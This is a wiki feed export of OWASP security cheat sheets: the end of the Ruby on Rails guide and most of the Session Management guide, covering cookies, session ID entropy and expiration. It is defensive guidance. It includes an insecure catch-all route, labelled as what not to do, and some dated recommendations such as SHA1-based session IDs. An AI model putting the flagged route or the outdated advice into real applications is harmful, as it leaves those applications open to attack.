        end&lt;br /&gt;
    end&lt;br /&gt;
&lt;br /&gt;
== Security-related headers ==&lt;br /&gt;
&lt;br /&gt;
To set a header value, simply access the response.headers object as a hash inside your controller (often in a before/after_filter).&lt;br /&gt;
&lt;br /&gt;
  response.headers['X-header-name'] = 'value'&lt;br /&gt;
&lt;br /&gt;
'''Rails 4''' provides the &amp;quot;default_headers&amp;quot; functionality that will automatically apply the values supplied. This works for most headers in almost all cases.&lt;br /&gt;
&lt;br /&gt;
  ActionDispatch::Response.default_headers = {	  	&lt;br /&gt;
    'X-Frame-Options' =&amp;gt; 'SAMEORIGIN', 	&lt;br /&gt;
    'X-Content-Type-Options' =&amp;gt; 'nosniff',	  	&lt;br /&gt;
    'X-XSS-Protection' =&amp;gt; '1;'&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Strict transport security is a special case, it is set in an environment file (e.g. production.rb)&lt;br /&gt;
&lt;br /&gt;
  config.force_ssl = true&lt;br /&gt;
&lt;br /&gt;
For those not on the edge, there is a library ([https://github.com/twitter/secureheaders secure_headers]) for the same behavior with content security policy abstraction provided. It will automatically apply logic based on the user agent to produce a concise set of headers.&lt;br /&gt;
&lt;br /&gt;
== Business Logic Bugs ==&lt;br /&gt;
&lt;br /&gt;
Any application in any technology can contain business logic errors that result in security bugs.  Business logic bugs are difficult to impossible to detect using automated tools.  The best ways to prevent business logic security bugs are to do code review, pair program and write unit tests.&lt;br /&gt;
&lt;br /&gt;
== Attack Surface == &lt;br /&gt;
&lt;br /&gt;
Generally speaking, Rails avoids open redirect and path traversal types of vulnerabilities because of its /config/routes.rb file which dictates what URL’s should be accessible and handled by which controllers.  The routes file is a great place to look when thinking about the scope of the attack surface.  An example might be as follows:&lt;br /&gt;
&lt;br /&gt;
    match ':controller(/:action(/:id(.:format)))' # this is an example of what NOT to do&lt;br /&gt;
&lt;br /&gt;
In this case, this route allows any public method on any controller to be called as an action.  As a developer, you want to make sure that users can only reach the controller methods intended and in the way intended.&lt;br /&gt;
&lt;br /&gt;
== Sensitive Files == &lt;br /&gt;
&lt;br /&gt;
Many Ruby on Rails apps are open source and hosted on publicly available source code repositories.  Whether that is the case or the code is committed to a corporate source control system, there are certain files that should be either excluded or carefully managed.&lt;br /&gt;
&lt;br /&gt;
    /config/database.yml                 -  May contain production credentials.&lt;br /&gt;
    /config/initializers/secret_token.rb -  Contains a secret used to hash session cookie.&lt;br /&gt;
    /db/seeds.rb                         -  May contain seed data including bootstrap admin user.&lt;br /&gt;
    /db/development.sqlite3              -  May contain real data. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Encryption == &lt;br /&gt;
&lt;br /&gt;
Rails uses OS encryption.  Generally speaking, it is always a bad idea to write your own encryption.&lt;br /&gt;
&lt;br /&gt;
Devise by default uses bcrypt for password hashing, which is an appropriate solution.  Typically, the following config causes the 10 stretches for production:  /config/initializers/devise.rb&lt;br /&gt;
&lt;br /&gt;
    config.stretches = Rails.env.test? ? 1 : 10&lt;br /&gt;
&lt;br /&gt;
= Updating Rails and Having a Process for Updating Dependencies = &lt;br /&gt;
&lt;br /&gt;
In early 2013, a number of critical vulnerabilities were identified in the Rails Framework.  Organizations that had fallen behind current versions had more trouble updating and harder decisions along the way, including patching the source code for the framework itself.&lt;br /&gt;
&lt;br /&gt;
An additional concern with Ruby applications in general is that most libraries (gems) are not signed by their authors.  It is literally impossible to build a Rails based project with libraries that come from trusted sources.  One good practice might be to audit the gems you are using.&lt;br /&gt;
&lt;br /&gt;
In general, it is important to have a process for updating dependencies.  An example process might define three mechanisms for triggering an update of response: &lt;br /&gt;
* Every month/quarter dependencies in general are updated.&lt;br /&gt;
* Every week important security vulnerabilities are taken into account and potentially trigger an update.&lt;br /&gt;
* In EXCEPTIONAL conditions, emergency updates may need to be applied.&lt;br /&gt;
&lt;br /&gt;
= Tools =&lt;br /&gt;
&lt;br /&gt;
Use [http://brakemanscanner.org/ brakeman], an open source code analysis tool for Rails applications, to identify many potential issues.  It will not necessarily produce comprehensive security findings, but it can find easily exposed issues.  A great way to see potential issues in Rails is to review the brakeman documentation of warning types.&lt;br /&gt;
&lt;br /&gt;
There are emerging tools that can be used to track security issues in dependency sets, like https://appcanary.com/ and https://gemnasium.com/.&lt;br /&gt;
&lt;br /&gt;
Another area of tooling is the security testing tool [http://gauntlt.org Gauntlt] which is built on cucumber and uses gherkin syntax to define attack files.&lt;br /&gt;
&lt;br /&gt;
Launched in May 2013 and very similiar to brakeman scanner, the [https://github.com/thesp0nge/dawnscanner dawnscanner] rubygem is a static analyzer for security issues that work with Rails, Sinatra and Padrino web applications. Version 0.60 has more than 30 ruby specific CVE security checks and future releases custom checks against Cross Site Scripting and SQL Injections will be added.&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors = &lt;br /&gt;
Matt Konda - mkonda [at] jemurai.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Neil Matatall neil [at] matatall.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Ken Johnson cktricky [at] gmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Justin Collins justin [at] presidentbeef.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Jon Rose - jrose400 [at] gmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Lance Vaughn - lance [at] cabforward.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Jon Claudius - jonathan.claudius [at] gmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Manico jim [at] owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Aaron Bedra aaron [at] aaronbedra.com&amp;lt;br/&amp;gt;&lt;br /&gt;
Egor Homakov homakov [at] gmail.com&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Related Articles and References = &lt;br /&gt;
&lt;br /&gt;
* [http://guides.rubyonrails.org/security.html The Official Rails Security Guide]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Ruby_on_Rails_Security_Guide_V2 OWASP Ruby on Rails Security Guide]&lt;br /&gt;
* [http://code.google.com/p/ruby-security/wiki/Guide The Ruby Security Reviewers Guide]&lt;br /&gt;
* [https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-security The Ruby on Rails Security Mailing List]&lt;br /&gt;
* [http://blog.codeclimate.com/blog/2013/03/27/rails-insecure-defaults/ Rails Insecure Defaults]&lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Session_Management_Cheat_Sheet&amp;diff=231870</id>
		<title>Session Management Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Session_Management_Cheat_Sheet&amp;diff=231870"/>
				<updated>2017-07-27T05:01:51Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
&lt;br /&gt;
'''Web Authentication, Session Management, and Access Control''' &lt;br /&gt;
&lt;br /&gt;
A web session is a sequence of network HTTP request and response transactions associated to the same user. Modern and complex web applications require the retaining of information or status about each user for the duration of multiple requests. Therefore, sessions provide the ability to establish variables – such as access rights and localization settings – which will apply to each and every interaction a user has with the web application for the duration of the session. &lt;br /&gt;
&lt;br /&gt;
Web applications can create sessions to keep track of anonymous users after the very first user request. An example would be maintaining the user language preference. Additionally, web applications will make use of sessions once the user has authenticated. This ensures the ability to identify the user on any subsequent requests as well as being able to apply security access controls, authorized access to the user private data, and to increase the usability of the application. Therefore, current web applications can provide session capabilities both pre and post authentication. &lt;br /&gt;
&lt;br /&gt;
Once an authenticated session has been established, the session ID (or token) is temporarily equivalent to the strongest authentication method used by the application, such as username and password, passphrases, one-time passwords (OTP), client-based digital certificates, smartcards, or biometrics (such as fingerprint or eye retina). See the OWASP [[Authentication Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
HTTP is a stateless protocol (RFC2616 [5]), where each request and response pair is independent of other web interactions. Therefore, in order to introduce the concept of a session, it is required to implement session management capabilities that link both the authentication and access control (or authorization) modules commonly available in web applications: &lt;br /&gt;
&lt;br /&gt;
[[Image:Session-Management-Diagram Cheat-Sheet.png|center|Session-Management-Diagram Cheat-Sheet.png]] &amp;lt;br&amp;gt; The session ID or token binds the user authentication credentials (in the form of a user session) to the user HTTP traffic and the appropriate access controls enforced by the web application. The complexity of these three components (authentication, session management, and access control) in modern web applications, plus the fact that its implementation and binding resides on the web developer’s hands (as web development framework do not provide strict relationships between these modules), makes the implementation of a secure session management module very challenging. &lt;br /&gt;
&lt;br /&gt;
The disclosure, capture, prediction, brute force, or fixation of the session ID will lead to session hijacking (or sidejacking) attacks, where an attacker is able to fully impersonate a victim user in the web application. Attackers can perform two types of session hijacking attacks, targeted or generic. In a targeted attack, the attacker’s goal is to impersonate a specific (or privileged) web application victim user. For  generic attacks, the attacker’s goal is to impersonate (or get access as) any valid or legitimate user in the web application. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
= Session ID Properties  =&lt;br /&gt;
&lt;br /&gt;
In order to keep the authenticated state and track the users progress within the web application, applications provide users with a session identifier (session ID or token) that is assigned at session creation time, and is shared and exchanged by the user and the web application for the duration of the session (it is sent on every HTTP request). The session ID is a “name=value” pair. &lt;br /&gt;
&lt;br /&gt;
With the goal of implementing secure session IDs, the generation of identifiers (IDs or tokens) must meet the following properties: &lt;br /&gt;
&lt;br /&gt;
== Session ID Name Fingerprinting  ==&lt;br /&gt;
&lt;br /&gt;
The name used by the session ID should not be extremely descriptive nor offer unnecessary details about the purpose and meaning of the ID. &lt;br /&gt;
&lt;br /&gt;
The session ID names used by the most common web application development frameworks can be easily fingerprinted [0], such as PHPSESSID (PHP), JSESSIONID (J2EE), CFID &amp;amp;amp; CFTOKEN (ColdFusion), ASP.NET_SessionId (ASP .NET), etc. Therefore, the session ID name can disclose the technologies and programming languages used by the web application. &lt;br /&gt;
&lt;br /&gt;
It is recommended to change the default session ID name of the web development framework to a generic name, such as “id”. &lt;br /&gt;
&lt;br /&gt;
== Session ID Length  ==&lt;br /&gt;
&lt;br /&gt;
The session ID must be long enough to prevent brute force attacks, where an attacker can go through the whole range of ID values and verify the existence of valid sessions. &lt;br /&gt;
&lt;br /&gt;
The session ID length must be at least 128 bits (16 bytes).&lt;br /&gt;
&lt;br /&gt;
'''''NOTE''''': The session ID length of 128 bits is provided as a reference based on the assumptions made on the next section &amp;quot;Session ID Entropy&amp;quot;. However, this number should not be considered as an absolute minimum value, as other implementation factors might influence its strength. For example, there are well-known implementations, such as Microsoft ASP.NET, making use of 120-bit random numbers for its session IDs (represented by 20-character strings [10]) that can provide a very good effective entropy, and as a result, can be considered long enough to avoid guessing or brute force attacks.&lt;br /&gt;
&lt;br /&gt;
== Session ID Entropy  ==&lt;br /&gt;
&lt;br /&gt;
The session ID must be unpredictable (random enough) to prevent guessing attacks, where an attacker is able to guess or predict the ID of a valid session through statistical analysis techniques. For this purpose, a good PRNG (Pseudo Random Number Generator) must be used. &lt;br /&gt;
&lt;br /&gt;
The session ID value must provide at least 64 bits of entropy (if a good PRNG is used, this value is estimated to be half the length of the session ID).&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''''NOTE''''': The session ID entropy is really affected by other external and difficult to measure factors, such as the number of concurrent active sessions the web application commonly has, the absolute session expiration timeout, the amount of session ID guesses per second the attacker can make and the target web application can support, etc [2]. If a session ID with an entropy of 64 bits is used, it will take an attacker at least 292 years to successfully guess a valid session ID, assuming the attacker can try 10,000 guesses per second with 100,000 valid simultaneous sessions available in the web application [2]. &lt;br /&gt;
&lt;br /&gt;
== Session ID Content (or Value)  ==&lt;br /&gt;
&lt;br /&gt;
The session ID content (or value) must be meaningless to prevent information disclosure attacks, where an attacker is able to decode the contents of the ID and extract details of the user, the session, or the inner workings of the web application. &lt;br /&gt;
&lt;br /&gt;
The session ID must simply be an identifier on the client side, and its value must never include sensitive information (or PII). The meaning and business or application logic associated to the session ID must be stored on the server side, and specifically, in session objects or in a session management database or repository. The stored information can include the client IP address, User-Agent, e-mail, username, user ID, role, privilege level, access rights, language preferences, account ID, current state, last login, session timeouts, and other internal session details. If the session objects and properties contain sensitive information, such as credit card numbers, it is required to duly encrypt and protect the session management repository. &lt;br /&gt;
&lt;br /&gt;
It is recommended to create cryptographically strong session IDs through the usage of cryptographic hash functions such as SHA1 (160 bits). &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
= Session Management Implementation  =&lt;br /&gt;
&lt;br /&gt;
The session management implementation defines the exchange mechanism that will be used between the user and the web application to share and continuously exchange the session ID. There are multiple mechanisms available in HTTP to maintain session state within web applications, such as cookies (standard HTTP header), URL parameters (URL rewriting – RFC 2396), URL arguments on GET requests, body arguments on POST requests, such as hidden form fields (HTML forms), or proprietary HTTP headers. &lt;br /&gt;
&lt;br /&gt;
The preferred session ID exchange mechanism should allow defining advanced token properties, such as the token expiration date and time, or granular usage constraints. This is one of the reasons why cookies (RFCs 2109 &amp;amp;amp; 2965 &amp;amp;amp; 6265 [1]) are one of the most extensively used session ID exchange mechanisms, offering advanced capabilities not available in other methods. &lt;br /&gt;
&lt;br /&gt;
The usage of specific session ID exchange mechanisms, such as those where the ID is included in the URL, might disclose the session ID (in web links and logs, web browser history and bookmarks, the Referer header or search engines), as well as facilitate other attacks, such as the manipulation of the ID or session fixation attacks [3]. &lt;br /&gt;
&lt;br /&gt;
== Built-in Session Management Implementations  ==&lt;br /&gt;
&lt;br /&gt;
Web development frameworks, such as J2EE, ASP .NET, PHP, and others, provide their own session management features and associated implementation. It is recommended to use these built-in frameworks versus building a home made one from scratch, as they are used worldwide on multiple web environments and have been tested by the web application security and development communities over time. &lt;br /&gt;
&lt;br /&gt;
However, be advised that these frameworks have also presented vulnerabilities and weaknesses in the past, so it is always recommended to use the latest version available, that potentially fixes all the well-known vulnerabilities, as well as review and change the default configuration to enhance its security by following the recommendations described along this document. &lt;br /&gt;
&lt;br /&gt;
The storage capabilities or repository used by the session management mechanism to temporarily save the session IDs must be secure, protecting the session IDs against local or remote accidental disclosure or unauthorized access. &lt;br /&gt;
&lt;br /&gt;
== Used vs. Accepted Session ID Exchange Mechanisms  ==&lt;br /&gt;
&lt;br /&gt;
A web application should make use of cookies for session ID exchange management. If a user submits a session ID through a different exchange mechanism, such as a URL parameter, the web application should avoid accepting it as part of a defensive strategy to stop session fixation.&lt;br /&gt;
&lt;br /&gt;
'''''NOTE''''': Even if a web application makes use of cookies as its default session ID exchange mechanism, it might accept other exchange mechanisms too. It is therefore required to confirm via thorough testing all the different mechanisms currently accepted by the web application when processing and managing session IDs, and limit the accepted session ID tracking mechanisms to just cookies. In the past, some web applications used URL parameters, or even switched from cookies to URL parameters (via automatic URL rewriting), if certain conditions are met (for example, the identification of web clients without support for cookies or not accepting cookies due to user privacy concerns).&lt;br /&gt;
&lt;br /&gt;
== Transport Layer Security  ==&lt;br /&gt;
&lt;br /&gt;
In order to protect the session ID exchange from active eavesdropping and passive disclosure in the network traffic, it is mandatory to use an encrypted HTTPS (SSL/TLS) connection for the entire web session, not only for the authentication process where the user credentials are exchanged. &lt;br /&gt;
&lt;br /&gt;
Additionally, the “Secure” cookie attribute (see below) must be used to ensure the session ID is only exchanged through an encrypted channel. The usage of an encrypted communication channel also protects the session against some session fixation attacks where the attacker is able to intercept and manipulate the web traffic to inject (or fix) the session ID on the victims web browser [4]. &lt;br /&gt;
&lt;br /&gt;
The following set of HTTPS (SSL/TLS) best practices are focused on protecting the session ID (specifically when cookies are used) and helping with the integration of HTTPS within the web application: &lt;br /&gt;
&lt;br /&gt;
*Web applications should never switch a given session from HTTP to HTTPS, or viceversa, as this will disclose the session ID in the clear through the network. &lt;br /&gt;
*Web applications should not mix encrypted and unencrypted contents (HTML pages, images, CSS, Javascript files, etc) on the same host (or even domain - see the “domain” cookie attribute), as the request of any web object over an unencrypted channel might disclose the session ID. &lt;br /&gt;
*Web applications, in general, should not offer public unencrypted contents and private encrypted contents from the same host. It is recommended to instead use two different hosts, such as www.example.com over HTTP (unencrypted) for the public contents, and secure.example.com over HTTPS (encrypted) for the private and sensitive contents (where sessions exist). The former host only has port TCP/80 open, while the later only has port TCP/443 open. &lt;br /&gt;
*Web applications should avoid the extremely common HTTP to HTTPS redirection on the home page (using a 30x HTTP response), as this single unprotected HTTP request/response exchange can be used by an attacker to gather (or fix) a valid session ID.&lt;br /&gt;
* Web applications should make use of “HTTP Strict Transport Security (HSTS)” (previously called STS) to enforce HTTPS connections.&lt;br /&gt;
&lt;br /&gt;
See the OWASP [[Transport Layer Protection Cheat Sheet]]. &lt;br /&gt;
&lt;br /&gt;
It is important to emphasize that SSL/TLS (HTTPS) does not protect against session ID prediction, brute force, client-side tampering or fixation. Yet, session ID disclosure and capture from the network traffic is one of the most prevalent attack vectors even today. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
= Cookies  =&lt;br /&gt;
&lt;br /&gt;
The session ID exchange mechanism based on cookies provides multiple security features in the form of cookie attributes that can be used to protect the exchange of the session ID: &lt;br /&gt;
&lt;br /&gt;
== Secure Attribute  ==&lt;br /&gt;
&lt;br /&gt;
The “Secure” cookie attribute instructs web browsers to only send the cookie through an encrypted HTTPS (SSL/TLS) connection. This session protection mechanism is mandatory to prevent the disclosure of the session ID through MitM (Man-in-the-Middle) attacks. It ensures that an attacker cannot simply capture the session ID from web browser traffic. &lt;br /&gt;
&lt;br /&gt;
Forcing the web application to only use HTTPS for its communication (even when port TCP/80, HTTP, is closed in the web application host) does not protect against session ID disclosure if the “Secure” cookie has not been set - the web browser can be deceived to disclose the session ID over an unencrypted HTTP connection. The attacker can intercept and manipulate the victim user traffic and inject an HTTP unencrypted reference to the web application that will force the web browser to submit the session ID in the clear.&lt;br /&gt;
&lt;br /&gt;
See also: [[SecureFlag]]&lt;br /&gt;
&lt;br /&gt;
== HttpOnly Attribute  ==&lt;br /&gt;
&lt;br /&gt;
The “HttpOnly” cookie attribute instructs web browsers not to allow scripts (e.g. JavaScript or VBscript) an ability to access the cookies via the DOM document.cookie object. This session ID protection is mandatory to prevent session ID stealing through XSS attacks. &lt;br /&gt;
&lt;br /&gt;
See the OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
See also: [[HttpOnly]]&lt;br /&gt;
&lt;br /&gt;
== SameSite Attribute ==&lt;br /&gt;
SameSite allows a server define a cookie attribute making it impossible to the browser send this cookie along with cross-site requests. The main goal is mitigate the risk of cross-origin information leakage, and provides some protection against cross-site request forgery attacks.&lt;br /&gt;
&lt;br /&gt;
See also: [[SameSite]]&lt;br /&gt;
&lt;br /&gt;
== Domain and Path Attributes  ==&lt;br /&gt;
&lt;br /&gt;
The “Domain” cookie attribute instructs web browsers to only send the cookie to the specified domain and all subdomains. If the attribute is not set, by default the cookie will only be sent to the origin server. The “Path” cookie attribute instructs web browsers to only send the cookie to the specified directory or subdirectories (or paths or resources) within the web application. If the attribute is not set, by default the cookie will only be sent for the directory (or path) of the resource requested and setting the cookie. &lt;br /&gt;
&lt;br /&gt;
It is recommended to use a narrow or restricted scope for these two attributes. In this way, the “Domain” attribute should not be set (restricting the cookie just to the origin server) and the “Path” attribute should be set as restrictive as possible to the web application path that makes use of the session ID. &lt;br /&gt;
&lt;br /&gt;
Setting the “Domain” attribute to a too permissive value, such as “example.com” allows an attacker to launch attacks on the session IDs between different hosts and web applications belonging to the same domain, known as cross-subdomain cookies. For example, vulnerabilities in www.example.com might allow an attacker to get access to the session IDs from secure.example.com. &lt;br /&gt;
&lt;br /&gt;
Additionally, it is recommended not to mix web applications of different security levels on the same domain. Vulnerabilities in one of the web applications would allow an attacker to set the session ID for a different web application on the same domain by using a permissive “Domain” attribute (such as “example.com”) which is a technique that can be used in session fixation attacks [4]. &lt;br /&gt;
&lt;br /&gt;
Although the “Path” attribute allows the isolation of session IDs between different web applications using different paths on the same host, it is highly recommended not to run different web applications (especially from different security levels or scopes) on the same host. Other methods can be used by these applications to access the session IDs, such as the “document.cookie” object. Also, any web application can set cookies for any path on that host. &lt;br /&gt;
&lt;br /&gt;
Cookies are vulnerable to DNS spoofing/hijacking/poisoning attacks, where an attacker can manipulate the DNS resolution to force the web browser to disclose the session ID for a given host or domain. &lt;br /&gt;
&lt;br /&gt;
== Expire and Max-Age Attributes  ==&lt;br /&gt;
&lt;br /&gt;
Session management mechanisms based on cookies can make use of two types of cookies, non-persistent (or session) cookies, and persistent cookies. If a cookie presents the “Max-Age” (that has preference over “Expires”) or “Expires” attributes, it will be considered a persistent cookie and will be stored on disk by the web browser based until the expiration time. Typically, session management capabilities to track users after authentication make use of non-persistent cookies. This forces the session to disappear from the client if the current web browser instance is closed. Therefore, it is highly recommended to use non-persistent cookies for session management purposes, so that the session ID does not remain on the web client cache for long periods of time, from where an attacker can obtain it. &lt;br /&gt;
&lt;br /&gt;
* Ensure that sensitive information is not comprised, by ensuring that sensitive information is not persistent / encrypting / stored on a need basis for the duration of the need&lt;br /&gt;
&lt;br /&gt;
* Ensure that unauthorized activities cannot take place via cookie manipulation&lt;br /&gt;
&lt;br /&gt;
* Ensure secure flag is set to prevent accidental transmission over “the wire” in a non-secure manner&lt;br /&gt;
&lt;br /&gt;
* Determine if all state transitions in the application code properly check for the cookies and enforce their use&lt;br /&gt;
&lt;br /&gt;
* Ensure entire cookie should be encrypted if sensitive data is persisted in the cookie&lt;br /&gt;
&lt;br /&gt;
* Define all cookies being used by the application, their name and why they are needed&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Session ID Life Cycle  =&lt;br /&gt;
&lt;br /&gt;
== Session ID Generation and Verification: Permissive and Strict Session Management  ==&lt;br /&gt;
&lt;br /&gt;
There are two types of session management mechanisms for web applications, permissive and strict, related to session fixation vulnerabilities. The permissive mechanism allow the web application to initially accept any session ID value set by the user as valid, creating a new session for it, while the strict mechanism enforces that the web application will only accept session ID values that have been previously generated by the web application. &lt;br /&gt;
&lt;br /&gt;
The session tokens should be handled by the web server if possible or generated via a cryptographically secure random number generator.&lt;br /&gt;
&lt;br /&gt;
Although the most common mechanism in use today is the strict one (more secure, [https://wiki.php.net/rfc/session-use-strict-mode PHP defaults to permissive]). Developers must ensure that the web application does not use a permissive mechanism under certain circumstances. Web applications should never accept a session ID they have never generated, and in case of receiving one, they should generate and offer the user a new valid session ID. Additionally, this scenario should be detected as a suspicious activity and an alert should be generated. &lt;br /&gt;
&lt;br /&gt;
== Manage Session ID as Any Other User Input  ==&lt;br /&gt;
&lt;br /&gt;
Session IDs must be considered untrusted, as any other user input processed by the web application, and they must be thoroughly validated and verified. Depending on the session management mechanism used, the session ID will be received in a GET or POST parameter, in the URL or in an HTTP header (e.g. cookies). If web applications do not validate and filter out invalid session ID values before processing them, they can potentially be used to exploit other web vulnerabilities, such as SQL injection if the session IDs are stored on a relational database, or persistent XSS if the session IDs are stored and reflected back afterwards by the web application. &lt;br /&gt;
&lt;br /&gt;
== Renew the Session ID After Any Privilege Level Change  ==&lt;br /&gt;
&lt;br /&gt;
The session ID must be renewed or regenerated by the web application after any privilege level change within the associated user session. The most common scenario where the session ID regeneration is mandatory is during the authentication process, as the privilege level of the user changes from the unauthenticated (or anonymous) state to the authenticated state. Other common scenarios must also be considered, such as password changes, permission changes or switching from a regular user role to an administrator role within the web application. For all these web application critical pages, previous session IDs have to be ignored, a new session ID must be assigned to every new request received for the critical resource, and the old or previous session ID must be destroyed. &lt;br /&gt;
&lt;br /&gt;
The most common web development frameworks provide session functions and methods to renew the session ID, such as “request.getSession(true) &amp;amp;amp; HttpSession.invalidate()” (J2EE), “Session.Abandon() &amp;amp;amp; Response.Cookies.Add(new…)“ (ASP .NET), or “session_start() &amp;amp;amp; session_regenerate_id(true)” (PHP). &lt;br /&gt;
&lt;br /&gt;
The session ID regeneration is mandatory to prevent session fixation attacks [3], where an attacker sets the session ID on the victims user web browser instead of gathering the victims session ID, as in most of the other session-based attacks, and independently of using HTTP or HTTPS. This protection mitigates the impact of other web-based vulnerabilities that can also be used to launch session fixation attacks, such as HTTP response splitting or XSS [4]. &lt;br /&gt;
&lt;br /&gt;
A complementary recommendation is to use a different session ID or token name (or set of session IDs) pre and post authentication, so that the web application can keep track of anonymous users and authenticated users without the risk of exposing or binding the user session between both states. &lt;br /&gt;
&lt;br /&gt;
== Considerations When Using Multiple Cookies  ==&lt;br /&gt;
&lt;br /&gt;
If the web application uses cookies as the session ID exchange mechanism, and multiple cookies are set for a given session, the web application must verify all cookies (and enforce relationships between them) before allowing access to the user session. &lt;br /&gt;
&lt;br /&gt;
It is very common for web applications to set a user cookie pre-authentication over HTTP to keep track of unauthenticated (or anonymous) users. Once the user authenticates in the web application, a new post-authentication secure cookie is set over HTTPS, and a binding between both cookies and the user session is established. If the web application does not verify both cookies for authenticated sessions, an attacker can make use of the pre-authentication unprotected cookie to get access to the authenticated user session [4]. &lt;br /&gt;
&lt;br /&gt;
Web applications should try to avoid the same cookie name for different paths or domain scopes within the same web application, as this increases the complexity of the solution and potentially introduces scoping issues.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Session Expiration  =&lt;br /&gt;
&lt;br /&gt;
In order to minimize the time period an attacker can launch attacks over active sessions and hijack them, it is mandatory to set expiration timeouts for every session, establishing the amount of time a session will remain active. Insufficient session expiration by the web application increases the exposure of other session-based attacks, as for the attacker to be able to reuse a valid session ID and hijack the associated session, it must still be active. &lt;br /&gt;
&lt;br /&gt;
The shorter the session interval is, the lesser the time an attacker has to use the valid session ID. The session expiration timeout values must be set accordingly with the purpose and nature of the web application, and balance security and usability, so that the user can comfortably complete the operations within the web application without his session frequently expiring. Both the idle and absolute timeout values are highly dependent on how critical the web application and its data are. Common idle timeouts ranges are 2-5 minutes for high-value applications and 15- 30 minutes for low risk applications. &lt;br /&gt;
&lt;br /&gt;
When a session expires, the web application must take active actions to invalidate the session on both sides, client and server. The latter is the most relevant and mandatory from a security perspective. &lt;br /&gt;
&lt;br /&gt;
For most session exchange mechanisms, client side actions to invalidate the session ID are based on clearing out the token value. For example, to invalidate a cookie it is recommended to provide an empty (or invalid) value for the session ID, and set the “Expires” (or “Max-Age”) attribute to a date from the past (in case a persistent cookie is being used): &lt;br /&gt;
&amp;lt;pre&amp;gt;Set-Cookie: id=; Expires=Friday, 17-May-03 18:45:00 GMT &amp;lt;/pre&amp;gt; &lt;br /&gt;
In order to close and invalidate the session on the server side, it is mandatory for the web application to take active actions when the session expires, or the user actively logs out, by using the functions and methods offered by the session management mechanisms, such as “HttpSession.invalidate()” (J2EE), “Session.Abandon()“ (ASP .NET) or “session_destroy()/unset()“ (PHP). &lt;br /&gt;
&lt;br /&gt;
== Automatic Session Expiration  ==&lt;br /&gt;
&lt;br /&gt;
=== Idle Timeout  ===&lt;br /&gt;
&lt;br /&gt;
All sessions should implement an idle or inactivity timeout. This timeout defines the amount of time a session will remain active in case there is no activity in the session, closing and invalidating the session upon the defined idle period since the last HTTP request received by the web application for a given session ID. &lt;br /&gt;
&lt;br /&gt;
The idle timeout limits the chances an attacker has to guess and use a valid session ID from another user. However, if the attacker is able to hijack a given session, the idle timeout does not limit the attacker’s actions, as he can generate activity on the session periodically to keep the session active for longer periods of time. &lt;br /&gt;
&lt;br /&gt;
Session timeout management and expiration must be enforced server-side. If the client is used to enforce the session timeout, for example using the session token or other client parameters to track time references (e.g. number of minutes since login time), an attacker could manipulate these to extend the session duration. &lt;br /&gt;
&lt;br /&gt;
=== Absolute Timeout  ===&lt;br /&gt;
&lt;br /&gt;
All sessions should implement an absolute timeout, regardless of session activity. This timeout defines the maximum amount of time a session can be active, closing and invalidating the session upon the defined absolute period since the given session was initially created by the web application. After invalidating the session, the user is forced to (re)authenticate again in the web application and establish a new session. &lt;br /&gt;
&lt;br /&gt;
The absolute session limits the amount of time an attacker can use a hijacked session and impersonate the victim user. &lt;br /&gt;
&lt;br /&gt;
=== Renewal Timeout  ===&lt;br /&gt;
&lt;br /&gt;
Alternatively, the web application can implement an additional renewal timeout after which the session ID is automatically renewed, in the middle of the user session, and independently of the session activity and, therefore, of the idle timeout. &lt;br /&gt;
&lt;br /&gt;
After a specific amount of time since the session was initially created, the web application can regenerate a new ID for the user session and try to set it, or renew it, on the client. The previous session ID value would still be valid for some time, accommodating a safety interval, before the client is aware of the new ID and starts using it. At that time, when the client switches to the new ID inside the current session, the application invalidates the previous ID.&lt;br /&gt;
